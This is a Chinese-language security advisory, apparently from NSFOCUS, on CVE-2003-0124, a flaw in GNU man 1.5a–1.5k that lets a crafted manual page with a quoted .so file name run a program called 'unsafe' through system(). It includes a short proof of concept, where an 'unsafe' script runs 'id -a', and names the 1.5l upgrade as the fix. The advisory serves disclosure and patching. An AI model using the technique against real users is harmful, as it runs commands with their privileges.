首页 -> 安全研究

安全研究

安全漏洞
man查看手册工具本地执行任意命令漏洞

发布日期:2003-03-11
更新日期:2003-03-14

受影响系统:
GNU man 1.5k
GNU man 1.5j
GNU man 1.5i2
GNU man 1.5i
GNU man 1.5h
GNU man 1.5g
GNU man 1.5f
GNU man 1.5e
GNU man 1.5d
GNU man 1.5b
GNU man 1.5a
    - Linux系统  
    - Unix系统
不受影响系统:
GNU man 1.5l
描述:
CVE(CAN) ID: CVE-2003-0124

man是多种系统下查看帮助手册的工具。

man在处理畸形文件名时存在漏洞,本地攻击者可以利用这个漏洞以其他高权限用户执行任意命令。

man程序在发现有带引号的字符串,util.c文件中的my_xsprintf函数会返回"unsafe"(而不是返回让SHELL处理的字符串),此返回值("unsafe")却是直接传递给system(3),也就是说任何程序命令为'unsafe',就会被执行,如果unsafe文件中包含恶意命令,并诱使用户man查看的话,就可以导致恶意命令以其他用户权限执行。

<*来源:Jack Lloyd (lloyd@acm.jhu.edu
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104740927915154&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Jack Lloyd (lloyd@acm.jhu.edu)提供了如下测试方法:

$ cat innocent.1
.so "".1
$ cat '"".1' # the outer '' quotes are for the shell
the user will never see this
$ cat `which unsafe`
#!/bin/sh


echo "oops"
id -a
$ man ./innocent.1
oops
uid=528(lloyd) gid=100(users) groups=100(users)
$

建议:
厂商补丁:

GNU
---
下载使用man 1.5l版本:

ftp://ftp.win.tue.nl/pub/linux-local/utils/man/

浏览次数:3422
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障